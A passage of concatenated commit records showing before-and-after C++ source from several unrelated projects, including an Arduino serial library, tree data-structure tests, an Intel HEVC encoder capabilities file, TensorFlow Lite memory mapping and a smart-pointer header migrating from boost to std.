\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\nHardwareSerial Serial = HardwareSerial(0);\n\/\/HardwareSerial Serial1 = HardwareSerial(1);\n\n<commit_msg>Serial.println() now sends '\\r', '\\n' (instead of just '\\n')<commit_after>\/*\n HarwareSerial.cpp - Hardware serial library for Wiring\n Copyright (c) 2006 Nicholas Zambetti. All right reserved.\n\n This library is free software; you can redistribute it and\/or\n modify it under the terms of the GNU Lesser General Public\n License as published by the Free Software Foundation; either\n version 2.1 of the License, or (at your option) any later version.\n\n This library is distributed in the hope that it will be useful,\n but WITHOUT ANY WARRANTY; without even the implied warranty of\n MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU\n Lesser General Public License for more details.\n\n You should have received a copy of the GNU Lesser General Public\n License along with this library; if not, write to the Free Software\n Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA\n*\/\n\nextern \"C\" {\n #include <stdio.h>\n #include <string.h>\n #include <inttypes.h>\n #include \"Serial.h\"\n}\n\n#include \"HardwareSerial.h\"\n\n\/\/ Constructors \/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\nHardwareSerial::HardwareSerial(uint8_t uart)\n{\n if(uart == 0){\n _uart = 0;\n }else{\n _uart = 1;\n }\n}\n\n\/\/ Public Methods \/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\nvoid HardwareSerial::begin(long speed)\n{\n uart_init(_uart, speed);\n}\n\nuint8_t HardwareSerial::available(void)\n{\n return uart_available(_uart);\n}\n\nint HardwareSerial::read(void)\n{\n return uart_read(_uart);\n}\n\nvoid HardwareSerial::print(char c)\n{\n uart_write(_uart, &c, 1);\n}\n\nvoid HardwareSerial::print(char c[])\n{\n uart_write(_uart, c, strlen(c));\n}\n\nvoid HardwareSerial::print(uint8_t b)\n{\n char c = b;\n uart_write(_uart, &c, 1);\n}\n\nvoid HardwareSerial::print(int n)\n{\n print((long) n);\n}\n\nvoid HardwareSerial::print(long n)\n{\n if (n < 0) {\n print('-');\n n = -n;\n }\n printNumber(n, 10);\n}\n\nvoid HardwareSerial::print(unsigned long n)\n{\n printNumber(n, 10);\n}\n\nvoid HardwareSerial::print(long n, int base)\n{\n if (base == 0)\n print((char) n);\n else if (base == 10)\n print(n);\n else\n printNumber(n, base);\n}\n\nvoid HardwareSerial::println(void)\n{\n print('\\r');\n print('\\n'); \n}\n\nvoid HardwareSerial::println(char c)\n{\n print(c);\n println(); \n}\n\nvoid HardwareSerial::println(char c[])\n{\n uart_write(_uart, c, strlen(c));\n println();\n}\n\nvoid HardwareSerial::println(uint8_t b)\n{\n print(b);\n println();\n}\n\nvoid HardwareSerial::println(int n)\n{\n println((long) n);\n}\n\nvoid HardwareSerial::println(long n)\n{\n print(n);\n println(); \n}\n\nvoid HardwareSerial::println(unsigned long n)\n{\n print(n);\n println(); \n}\n\nvoid HardwareSerial::println(long n, int base)\n{\n print(n, base);\n println();\n}\n\n\/\/ Private Methods \/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\nvoid HardwareSerial::printNumber(unsigned long n, uint8_t base)\n{\n uint8_t buf[8 * sizeof(long)]; \/\/ Assumes 8-bit chars. \n int i = 0;\n if (n == 0) {\n print('0');\n return;\n }\n while (n > 0) {\n buf[i++] = n % base;\n n \/= base;\n }\n for (i--; i >= 0; i--){\n print((char)(buf[i] < 10 ? '0' + buf[i] : 'A' + buf[i] - 10));\n }\n}\n\n\/\/ Preinstantiate Objects \/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\nHardwareSerial Serial = HardwareSerial(0);\n\/\/HardwareSerial Serial1 = HardwareSerial(1);\n\n<|endoftext|>"} {"text":"<commit_before>#include <red_black_tree.hpp>\n#include <catch.hpp>\n\nSCENARIO(\"default constructor\") \n{\n\tRedBlackTree<int> rbt;\n\tREQUIRE(rbt._root() == rbt._NIL());\n}\n\nSCENARIO(\"insert\")\n{\n RedBlackTree<int> rbt;\n rbt.insert(5);\n REQUIRE(rbt.findElement(5) != 0);\n}\n\nSCENARIO(\"insert2\", \"[init]\")\n{\n RedBlackTree<int> rbt;\n rbt.insert(2);\n rbt.insert(3);\n rbt.insert(4);\n REQUIRE(tree._root() == tree.findElement(3));\n REQUIRE(tree._color(3) == 1);\n REQUIRE(tree._color(2) == 0);\n REQUIRE(tree._color(4) == 0);\n REQUIRE(tree.findElement(2) != 0);\n REQUIRE(tree.findElement(3) != 0);\n REQUIRE(tree.findElement(4) != 0);\n}\n<commit_msg>Create init.cpp<commit_after>#include <red_black_tree.hpp>\n#include <catch.hpp>\n\nSCENARIO(\"default constructor\") \n{\n\tRedBlackTree<int> rbt;\n\tREQUIRE(rbt._root() == rbt._NIL());\n}\n\nSCENARIO(\"insert\")\n{\n RedBlackTree<int> rbt;\n rbt.insert(5);\n REQUIRE(rbt.findElement(5) != 0);\n}\n\nSCENARIO(\"insert2\", \"[init]\")\n{\n RedBlackTree<int> rbt;\n rbt.insert(2);\n rbt.insert(3);\n rbt.insert(4);\n REQUIRE(rbt._root() == rbt.findElement(3));\n REQUIRE(rbt._color(3) == 1);\n REQUIRE(rbt._color(2) == 0);\n REQUIRE(rbt._color(4) == 0);\n REQUIRE(rbt.findElement(2) != 0);\n REQUIRE(rbt.findElement(3) != 0);\n REQUIRE(rbt.findElement(4) != 0);\n}\n<|endoftext|>"} {"text":"<commit_before>#include <binary_search_tree.hpp>\n#include <catch.hpp>\n\nSCENARIO(\"default constructor\") \n{\n\tBinarySearchTree<int> bst;\n\tREQUIRE(bst.root() == nullptr);\n\tREQUIRE(bst.count() == 0);\n}\n\n<commit_msg>Update init.cpp<commit_after>#include <binary_search_tree.hpp>\n#include <catch.hpp>\n\nSCENARIO(\"default constructor\") \n{\n\tBinarySearchTree<int> bst;\n\tREQUIRE(bst.root() == nullptr);\n\tREQUIRE(bst.count() == 0);\n}\n\nSCENARIO(\"insertElement\")\n{\n\tBinarySearchTree<int> bst;\n\tbst.insert(7);\n\tREQUIRE(bst.findElement() == 7);\n\tREQUIRE(bst.count() == 1);\n}\n<|endoftext|>"} {"text":"<commit_before>\/\/ Copyright (c) 2019 Intel Corporation\n\/\/\n\/\/ Permission is hereby granted, free of charge, to any person obtaining a copy\n\/\/ of this software and associated documentation files (the \"Software\"), to deal\n\/\/ in the Software without restriction, including without limitation the rights\n\/\/ to use, copy, modify, merge, publish, distribute, sublicense, and\/or sell\n\/\/ copies of the Software, and to permit persons to whom the Software is\n\/\/ furnished to do so, subject to the following conditions:\n\/\/\n\/\/ The above copyright notice and this permission notice shall be included in all\n\/\/ copies or substantial portions of the Software.\n\/\/\n\/\/ THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR\n\/\/ IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,\n\/\/ FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE\n\/\/ AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER\n\/\/ LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,\n\/\/ OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE\n\/\/ SOFTWARE.\n\n#include \"mfx_common.h\"\n#if defined(MFX_ENABLE_H265_VIDEO_ENCODE)\n\n#include \"hevcehw_g12_caps.h\"\n\nusing namespace HEVCEHW;\nusing namespace HEVCEHW::Gen12;\n\nvoid Caps::Query1NoCaps(const FeatureBlocks& \/*blocks*\/, TPushQ1 Push)\n{\n Push(BLK_SetDefaultsCallChain,\n [this](const mfxVideoParam&, mfxVideoParam&, StorageRW& strg) -> mfxStatus\n {\n auto& defaults = Glob::Defaults::GetOrConstruct(strg);\n auto& bSet = defaults.SetForFeature[GetID()];\n MFX_CHECK(!bSet, MFX_ERR_NONE);\n\n defaults.GetMaxNumRef.Push([](\n Gen9::Defaults::TChain<std::tuple<mfxU16, mfxU16>>::TExt\n , const Gen9::Defaults::Param& dpar)\n {\n const mfxU16 nRef[3][2][7] =\n {\n { \/\/ VME\n { 4, 4, 3, 3, 3, 1, 1 },\n { 2, 2, 1, 1, 1, 1, 1 }\n },\n { \/\/ VDENC P\n { 3, 3, 2, 2, 2, 1, 1 },\n { 3, 3, 2, 2, 2, 1, 1 }\n },\n { \/\/ Gen12 VDENC RA B\n { 2, 2, 1, 1, 1, 1, 1 },\n { 1, 1, 1, 1, 1, 1, 1 }\n }\n };\n bool bBFrames = (dpar.mvp.mfx.GopRefDist > 1);\n bool bVDEnc = IsOn(dpar.mvp.mfx.LowPower);\n mfxU16 tu = dpar.mvp.mfx.TargetUsage;\n mfxU32 idx = bVDEnc * (1 + bBFrames);\n\n CheckRangeOrSetDefault<mfxU16>(tu, 1, 7, 4);\n --tu;\n\n return std::make_tuple(\n std::min<mfxU16>(nRef[idx][0][tu], dpar.caps.MaxNum_Reference0)\n , std::min<mfxU16>(nRef[idx][1][tu], dpar.caps.MaxNum_Reference1));\n });\n\n bSet = true;\n\n return MFX_ERR_NONE;\n });\n}\n\nvoid Caps::Query1WithCaps(const FeatureBlocks& \/*blocks*\/, TPushQ1 Push)\n{\n Push(BLK_HardcodeCaps\n , [this](const mfxVideoParam&, mfxVideoParam& par, StorageRW& strg) -> mfxStatus\n {\n auto& caps = Glob::EncodeCaps::Get(strg);\n\n caps.SliceIPOnly = IsOn(par.mfx.LowPower) && (par.mfx.TargetUsage == 7);\n caps.msdk.bSingleSliceMultiTile = false;\n\n caps.YUV422ReconSupport |= (!caps.Color420Only && IsOff(par.mfx.LowPower));\n\n SetSpecificCaps(caps);\n\n return MFX_ERR_NONE;\n });\n}\n\n#endif \/\/defined(MFX_ENABLE_H265_VIDEO_ENCODE)\n<commit_msg>[HEVCe-r] Corrected def. num. ref. list. calc. on TGL+<commit_after>\/\/ Copyright (c) 2019-2020 Intel Corporation\n\/\/\n\/\/ Permission is hereby granted, free of charge, to any person obtaining a copy\n\/\/ of this software and associated documentation files (the \"Software\"), to deal\n\/\/ in the Software without restriction, including without limitation the rights\n\/\/ to use, copy, modify, merge, publish, distribute, sublicense, and\/or sell\n\/\/ copies of the Software, and to permit persons to whom the Software is\n\/\/ furnished to do so, subject to the following conditions:\n\/\/\n\/\/ The above copyright notice and this permission notice shall be included in all\n\/\/ copies or substantial portions of the Software.\n\/\/\n\/\/ THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR\n\/\/ IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,\n\/\/ FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE\n\/\/ AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER\n\/\/ LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,\n\/\/ OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE\n\/\/ SOFTWARE.\n\n#include \"mfx_common.h\"\n#if defined(MFX_ENABLE_H265_VIDEO_ENCODE)\n\n#include \"hevcehw_g12_caps.h\"\n\nusing namespace HEVCEHW;\nusing namespace HEVCEHW::Gen12;\n\nvoid Caps::Query1NoCaps(const FeatureBlocks& \/*blocks*\/, TPushQ1 Push)\n{\n Push(BLK_SetDefaultsCallChain,\n [this](const mfxVideoParam&, mfxVideoParam&, StorageRW& strg) -> mfxStatus\n {\n auto& defaults = Glob::Defaults::GetOrConstruct(strg);\n auto& bSet = defaults.SetForFeature[GetID()];\n MFX_CHECK(!bSet, MFX_ERR_NONE);\n\n defaults.GetMaxNumRef.Push([](\n Gen9::Defaults::TChain<std::tuple<mfxU16, mfxU16>>::TExt\n , const Gen9::Defaults::Param& dpar)\n {\n const mfxU16 nRef[3][2][7] =\n {\n { \/\/ VME\n { 4, 4, 3, 3, 3, 1, 1 },\n { 2, 2, 1, 1, 1, 1, 1 }\n },\n { \/\/ VDENC P\n { 3, 3, 2, 2, 2, 1, 1 },\n { 3, 3, 2, 2, 2, 1, 1 }\n },\n { \/\/ Gen12 VDENC RA B\n { 2, 2, 1, 1, 1, 1, 1 },\n { 1, 1, 1, 1, 1, 1, 1 }\n }\n };\n bool bBFrames = (dpar.mvp.mfx.GopRefDist > 1);\n bool bVDEnc = IsOn(dpar.mvp.mfx.LowPower);\n mfxU16 tu = dpar.mvp.mfx.TargetUsage;\n mfxU32 idx = bVDEnc * (1 + bBFrames);\n\n CheckRangeOrSetDefault<mfxU16>(tu, 1, 7, 4);\n --tu;\n\n \/* Same way like on Gen9 or Gen11 platforms *\/\n mfxU16 numRefFrame = dpar.mvp.mfx.NumRefFrame + !dpar.mvp.mfx.NumRefFrame * 16;\n\n return std::make_tuple(\n std::min<mfxU16>(nRef[idx][0][tu], std::min<mfxU16>(dpar.caps.MaxNum_Reference0, numRefFrame))\n , std::min<mfxU16>(nRef[idx][1][tu], std::min<mfxU16>(dpar.caps.MaxNum_Reference1, numRefFrame)));\n });\n\n bSet = true;\n\n return MFX_ERR_NONE;\n });\n}\n\nvoid Caps::Query1WithCaps(const FeatureBlocks& \/*blocks*\/, TPushQ1 Push)\n{\n Push(BLK_HardcodeCaps\n , [this](const mfxVideoParam&, mfxVideoParam& par, StorageRW& strg) -> mfxStatus\n {\n auto& caps = Glob::EncodeCaps::Get(strg);\n\n caps.SliceIPOnly = IsOn(par.mfx.LowPower) && (par.mfx.TargetUsage == 7);\n caps.msdk.bSingleSliceMultiTile = false;\n\n caps.YUV422ReconSupport |= (!caps.Color420Only && IsOff(par.mfx.LowPower));\n\n SetSpecificCaps(caps);\n\n return MFX_ERR_NONE;\n });\n}\n\n#endif \/\/defined(MFX_ENABLE_H265_VIDEO_ENCODE)\n<|endoftext|>"} {"text":"<commit_before>\/* Copyright 2018 The TensorFlow Authors. All Rights Reserved.\n\nLicensed under the Apache License, Version 2.0 (the \"License\");\nyou may not use this file except in compliance with the License.\nYou may obtain a copy of the License at\n\n http:\/\/www.apache.org\/licenses\/LICENSE-2.0\n\nUnless required by applicable law or agreed to in writing, software\ndistributed under the License is distributed on an \"AS IS\" BASIS,\nWITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\nSee the License for the specific language governing permissions and\nlimitations under the License.\n==============================================================================*\/\n\n#include <fcntl.h>\n#ifndef _WIN32\n#include <sys\/mman.h>\n#else\n#include <windows.h>\n#endif\n#include <sys\/stat.h>\n#include <sys\/types.h>\n#include <unistd.h>\n\n#include \"tensorflow\/lite\/allocation.h\"\n#include \"tensorflow\/lite\/core\/api\/error_reporter.h\"\n\nnamespace tflite {\n\n#ifdef _WIN32\nstatic constexpr void* MAP_FAILED = nullptr;\n\nMMAPAllocation::MMAPAllocation(const char* filename,\n ErrorReporter* error_reporter)\n : Allocation(error_reporter)\n , mmapped_buffer_(MAP_FAILED)\n , file_handle_( nullptr )\n , file_mapping_( nullptr ) {\n\n file_handle_ = CreateFile(filename, GENERIC_READ, 0, NULL, OPEN_EXISTING, 0, 0);\n if (file_handle_ == INVALID_HANDLE_VALUE) {\n error_reporter_->Report(\"Could not open '%s'.\", filename);\n return;\n }\n\n buffer_size_bytes_ = GetFileSize( file_handle_, nullptr );\n\n file_mapping_ = CreateFileMapping(file_handle_, NULL, PAGE_READONLY, 0, 0, NULL);\n if (file_mapping_ == NULL)\n return;\n\n mmapped_buffer_ = MapViewOfFile(file_mapping_, FILE_MAP_READ, 0, 0, buffer_size_bytes_);\n\n if (mmapped_buffer_ == MAP_FAILED) {\n error_reporter_->Report(\"Mmap of '%s' failed.\", filename);\n return;\n }\n}\n\nMMAPAllocation::~MMAPAllocation() {\n if (valid()) {\n UnmapViewOfFile( mmapped_buffer_ );\n }\n\n if (file_mapping_ != nullptr) {\n CloseHandle( file_mapping_ );\n }\n\n if (file_handle_ != nullptr){\n CloseHandle( file_handle_ );\n }\n\n}\n\n#else\nMMAPAllocation::MMAPAllocation(const char* filename,\n ErrorReporter* error_reporter)\n : Allocation(error_reporter), mmapped_buffer_(MAP_FAILED) {\n mmap_fd_ = open(filename, O_RDONLY);\n if (mmap_fd_ == -1) {\n error_reporter_->Report(\"Could not open '%s'.\", filename);\n return;\n }\n struct stat sb;\n fstat(mmap_fd_, &sb);\n buffer_size_bytes_ = sb.st_size;\n mmapped_buffer_ =\n mmap(nullptr, buffer_size_bytes_, PROT_READ, MAP_SHARED, mmap_fd_, 0);\n if (mmapped_buffer_ == MAP_FAILED) {\n error_reporter_->Report(\"Mmap of '%s' failed.\", filename);\n return;\n }\n}\n\nMMAPAllocation::~MMAPAllocation() {\n if (valid()) {\n munmap(const_cast<void*>(mmapped_buffer_), buffer_size_bytes_);\n }\n if (mmap_fd_ != -1) close(mmap_fd_);\n}\n#endif\n\nconst void* MMAPAllocation::base() const { return mmapped_buffer_; }\n\nsize_t MMAPAllocation::bytes() const { return buffer_size_bytes_; }\n\nbool MMAPAllocation::valid() const { return mmapped_buffer_ != MAP_FAILED; }\n\nbool MMAPAllocation::IsSupported() { return true; }\n\n} \/\/ namespace tflite\n<commit_msg>Use nullptr<commit_after>\/* Copyright 2018 The TensorFlow Authors. All Rights Reserved.\n\nLicensed under the Apache License, Version 2.0 (the \"License\");\nyou may not use this file except in compliance with the License.\nYou may obtain a copy of the License at\n\n http:\/\/www.apache.org\/licenses\/LICENSE-2.0\n\nUnless required by applicable law or agreed to in writing, software\ndistributed under the License is distributed on an \"AS IS\" BASIS,\nWITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\nSee the License for the specific language governing permissions and\nlimitations under the License.\n==============================================================================*\/\n\n#include <fcntl.h>\n#ifndef _WIN32\n#include <sys\/mman.h>\n#else\n#include <windows.h>\n#endif\n#include <sys\/stat.h>\n#include <sys\/types.h>\n#include <unistd.h>\n\n#include \"tensorflow\/lite\/allocation.h\"\n#include \"tensorflow\/lite\/core\/api\/error_reporter.h\"\n\nnamespace tflite {\n\n#ifdef _WIN32\nstatic constexpr void* MAP_FAILED = nullptr;\n\nMMAPAllocation::MMAPAllocation(const char* filename,\n ErrorReporter* error_reporter)\n : Allocation(error_reporter)\n , mmapped_buffer_(MAP_FAILED)\n , file_handle_(nullptr)\n , file_mapping_(nullptr) {\n\n file_handle_ = CreateFile(filename, GENERIC_READ, 0, NULL, OPEN_EXISTING, 0, 0);\n if (file_handle_ == INVALID_HANDLE_VALUE) {\n error_reporter_->Report(\"Could not open '%s'.\", filename);\n return;\n }\n\n buffer_size_bytes_ = GetFileSize( file_handle_, nullptr );\n\n file_mapping_ = CreateFileMapping(file_handle_, NULL, PAGE_READONLY, 0, 0, NULL);\n if (file_mapping_ == nullptr)\n return;\n\n mmapped_buffer_ = MapViewOfFile(file_mapping_, FILE_MAP_READ, 0, 0, buffer_size_bytes_);\n\n if (mmapped_buffer_ == MAP_FAILED) {\n error_reporter_->Report(\"Mmap of '%s' failed.\", filename);\n return;\n }\n}\n\nMMAPAllocation::~MMAPAllocation() {\n if (valid()) {\n UnmapViewOfFile( mmapped_buffer_ );\n }\n\n if (file_mapping_ != nullptr) {\n CloseHandle( file_mapping_ );\n }\n\n if (file_handle_ != nullptr){\n CloseHandle(file_handle_);\n }\n}\n\n#else\nMMAPAllocation::MMAPAllocation(const char* filename,\n ErrorReporter* error_reporter)\n : Allocation(error_reporter), mmapped_buffer_(MAP_FAILED) {\n mmap_fd_ = open(filename, O_RDONLY);\n if (mmap_fd_ == -1) {\n error_reporter_->Report(\"Could not open '%s'.\", filename);\n return;\n }\n struct stat sb;\n fstat(mmap_fd_, &sb);\n buffer_size_bytes_ = sb.st_size;\n mmapped_buffer_ =\n mmap(nullptr, buffer_size_bytes_, PROT_READ, MAP_SHARED, mmap_fd_, 0);\n if (mmapped_buffer_ == MAP_FAILED) {\n error_reporter_->Report(\"Mmap of '%s' failed.\", filename);\n return;\n }\n}\n\nMMAPAllocation::~MMAPAllocation() {\n if (valid()) {\n munmap(const_cast<void*>(mmapped_buffer_), buffer_size_bytes_);\n }\n if (mmap_fd_ != -1) close(mmap_fd_);\n}\n#endif\n\nconst void* MMAPAllocation::base() const { return mmapped_buffer_; }\n\nsize_t MMAPAllocation::bytes() const { return buffer_size_bytes_; }\n\nbool MMAPAllocation::valid() const { return mmapped_buffer_ != MAP_FAILED; }\n\nbool MMAPAllocation::IsSupported() { return true; }\n\n} \/\/ namespace tflite\n<|endoftext|>"} {"text":"<commit_before>#ifndef SMARTPOINTERS_HPP_\n#define SMARTPOINTERS_HPP_\n\n#define NOMINMAX \/\/ Removes windows min and max macros\n#include <boost\/shared_ptr.hpp>\n#include <boost\/weak_ptr.hpp>\n#include \"FAST\/Exception.hpp\"\n#include \"FAST\/Reporter.hpp\"\n#include \"FAST\/Paths.hpp\"\n\n#define FAST_OBJECT(className) \\\n public: \\\n typedef SharedPointer<className> pointer; \\\n static SharedPointer<className> New() { \\\n className * ptr = new className(); \\\n SharedPointer<className> smartPtr(ptr); \\\n ptr->setPtr(smartPtr); \\\n \\\n return smartPtr; \\\n } \\\n virtual std::string getNameOfClass() const { \\\n return std::string(#className); \\\n }; \\\n static std::string getStaticNameOfClass() { \\\n return std::string(#className); \\\n }; \\\n private: \\\n void setPtr(className::pointer ptr) { \\\n mPtr = ptr; \\\n } \\\n\n\nnamespace fast {\n\ntemplate <class T>\nclass SharedPointer;\n\ntemplate <class T>\nclass WeakPointer {\n public:\n WeakPointer() {};\n WeakPointer(const SharedPointer<T> object) {\n mWeakPtr = object.getPtr();\n }\n SharedPointer<T> lock() const {\n return SharedPointer<T>(mWeakPtr.lock());\n };\n boost::weak_ptr<T> getPtr() const { return mWeakPtr; };\n WeakPointer<T> &operator=(const SharedPointer<T> &other);\n bool operator==(const WeakPointer<T> &other) const {\n \/\/ Check if the two weak pointers, point to the same objecs\n SharedPointer<T> object1 = mWeakPtr.lock();\n SharedPointer<T> object2 = other.lock();\n if(object1.isValid() && object2.isValid()) {\n return object1 == object2;\n } else {\n return false;\n }\n }\n private:\n boost::weak_ptr<T> mWeakPtr;\n\n};\n\nclass Object;\n\ntemplate <class T>\nclass SharedPointer {\n public:\n SharedPointer() {\n\n }\n\t\tSharedPointer(T* object) {\n mSmartPtr = boost::shared_ptr<T>(object);\n }\n template <class D>\n SharedPointer(T* p, D d) {\n \tmSmartPtr = boost::shared_ptr<T>(p, d);\n }\n\n template <class U>\n SharedPointer(boost::shared_ptr<U> sharedPtr) {\n mSmartPtr = boost::dynamic_pointer_cast<T>(sharedPtr);\n }\n\n template <class U>\n SharedPointer(SharedPointer<U> object) {\n if(!object.isValid())\n throw Exception(\"Cast from \" + U::getStaticNameOfClass() + \" to \" + T::getStaticNameOfClass() + \" failed because object was invalid (uninitialized or deleted).\");\n boost::shared_ptr<T> ptr = boost::dynamic_pointer_cast<T>(object.getPtr());\n if(ptr == NULL)\n throw Exception(\"Illegal cast from \" + U::getStaticNameOfClass() + \" to \" + T::getStaticNameOfClass());\n mSmartPtr = boost::shared_ptr<T>(ptr);\n }\n template <class U>\n SharedPointer(WeakPointer<U> object) {\n if(!object.isValid())\n throw Exception(\"Cast from \" + U::getStaticNameOfClass() + \" to \" + T::getStaticNameOfClass() + \" failed because object was invalid (uninitialized or deleted).\");\n boost::shared_ptr<T> ptr = boost::dynamic_pointer_cast<T>(object.getPtr().lock());\n if(ptr == NULL)\n throw Exception(\"Illegal cast from \" + U::getStaticNameOfClass() + \" to \" + T::getStaticNameOfClass());\n mSmartPtr = boost::shared_ptr<T>(ptr);\n }\n\n template <class U>\n SharedPointer<T> &operator=(const SharedPointer<U> &other) {\n if(!other.isValid())\n throw Exception(\"Cast from \" + U::getStaticNameOfClass() + \" to \" + T::getStaticNameOfClass() + \" failed because object was invalid (uninitialized or deleted).\");\n boost::shared_ptr<T> ptr = boost::dynamic_pointer_cast<T>(other.getPtr());\n if(ptr == NULL)\n throw Exception(\"Illegal cast from \" + U::getStaticNameOfClass() + \" to \" + T::getStaticNameOfClass());\n mSmartPtr = boost::shared_ptr<T>(ptr);\n return *this;\n }\n\n template <class U>\n void swap(SharedPointer<U> &other) {\n mSmartPtr.swap(other.getReferenceToPointer());\n }\n\n bool isValid() const {\n \/\/ Check if smart pointer actually points to something\n return mSmartPtr.get() != NULL;\n }\n\n operator unsigned long int() const {\n return (unsigned long int)mSmartPtr.get();\n }\n\n bool operator==(const SharedPointer<T> &other) {\n return this->getPtr() == other.getPtr();\n }\n\n T* operator->() {\n \treturn mSmartPtr.get();\n\t\t}\n T* operator->() const {\n \treturn mSmartPtr.get();\n\t\t}\n T* get() {\n \treturn mSmartPtr.get();\n }\n\n boost::shared_ptr<T> getPtr() const { return mSmartPtr; };\n boost::shared_ptr<T> & getReferenceToPointer() { return mSmartPtr; };\n private:\n boost::shared_ptr<T> mSmartPtr;\n\n};\n\ntemplate <class T>\nusing UniquePointer = std::unique_ptr<T>;\n\ntemplate <class T>\nWeakPointer<T> &WeakPointer<T>::operator=(const SharedPointer<T> &other) {\n mWeakPtr = other.getPtr();\n return *this;\n}\n\n} \/\/ end namespace fast\n\n\/\/ A custum boost hashing function for the SharedPointers so that they can be used\n\/\/ in unordered data structures. TODO verify that this works\nnamespace boost {\ntemplate <class U>\nstd::size_t hash_value(fast::SharedPointer<U> const& obj) {\n return (std::size_t)obj.getPtr().get();\n}\ntemplate <class U>\nstd::size_t hash_value(fast::WeakPointer<U> const& obj) {\n return (std::size_t)obj.lock().getPtr().get();\n}\n}\n\n\n#endif \/* SMARTPOINTERS_HPP_ *\/\n<commit_msg>Switched to using shared_ptr and weak_ptr from std instead of boost<commit_after>#ifndef SMARTPOINTERS_HPP_\n#define SMARTPOINTERS_HPP_\n\n#define NOMINMAX \/\/ Removes windows min and max macros\n#include <boost\/shared_ptr.hpp>\n#include <boost\/weak_ptr.hpp>\n#include \"FAST\/Exception.hpp\"\n#include \"FAST\/Reporter.hpp\"\n#include \"FAST\/Paths.hpp\"\n\n#define FAST_OBJECT(className) \\\n public: \\\n typedef SharedPointer<className> pointer; \\\n static SharedPointer<className> New() { \\\n className * ptr = new className(); \\\n SharedPointer<className> smartPtr(ptr); \\\n ptr->setPtr(smartPtr); \\\n \\\n return smartPtr; \\\n } \\\n virtual std::string getNameOfClass() const { \\\n return std::string(#className); \\\n }; \\\n static std::string getStaticNameOfClass() { \\\n return std::string(#className); \\\n }; \\\n private: \\\n void setPtr(className::pointer ptr) { \\\n mPtr = ptr; \\\n } \\\n\n\nnamespace fast {\n\ntemplate <class T>\nclass SharedPointer;\n\ntemplate <class T>\nclass WeakPointer {\n public:\n WeakPointer() {};\n WeakPointer(const SharedPointer<T> object) {\n mWeakPtr = object.getPtr();\n }\n SharedPointer<T> lock() const {\n return SharedPointer<T>(mWeakPtr.lock());\n };\n std::weak_ptr<T> getPtr() const { return mWeakPtr; };\n WeakPointer<T> &operator=(const SharedPointer<T> &other);\n bool operator==(const WeakPointer<T> &other) const {\n \/\/ Check if the two weak pointers, point to the same objecs\n SharedPointer<T> object1 = mWeakPtr.lock();\n SharedPointer<T> object2 = other.lock();\n if(object1.isValid() && object2.isValid()) {\n return object1 == object2;\n } else {\n return false;\n }\n }\n private:\n std::weak_ptr<T> mWeakPtr;\n\n};\n\nclass Object;\n\ntemplate <class T>\nclass SharedPointer {\n public:\n SharedPointer() {\n\n }\n\t\tSharedPointer(T* object) {\n mSmartPtr = std::shared_ptr<T>(object);\n }\n template <class D>\n SharedPointer(T* p, D d) {\n \tmSmartPtr = std::shared_ptr<T>(p, d);\n }\n\n template <class U>\n SharedPointer(std::shared_ptr<U> sharedPtr) {\n mSmartPtr = std::dynamic_pointer_cast<T>(sharedPtr);\n }\n\n template <class U>\n SharedPointer(SharedPointer<U> object) {\n if(!object.isValid())\n throw Exception(\"Cast from \" + U::getStaticNameOfClass() + \" to \" + T::getStaticNameOfClass() + \" failed because object was invalid (uninitialized or deleted).\");\n std::shared_ptr<T> ptr = std::dynamic_pointer_cast<T>(object.getPtr());\n if(ptr == NULL)\n throw Exception(\"Illegal cast from \" + U::getStaticNameOfClass() + \" to \" + T::getStaticNameOfClass());\n mSmartPtr = std::shared_ptr<T>(ptr);\n }\n template <class U>\n SharedPointer(WeakPointer<U> object) {\n if(!object.isValid())\n throw Exception(\"Cast from \" + U::getStaticNameOfClass() + \" to \" + T::getStaticNameOfClass() + \" failed because object was invalid (uninitialized or deleted).\");\n std::shared_ptr<T> ptr = std::dynamic_pointer_cast<T>(object.getPtr().lock());\n if(ptr == NULL)\n throw Exception(\"Illegal cast from \" + U::getStaticNameOfClass() + \" to \" + T::getStaticNameOfClass());\n mSmartPtr = 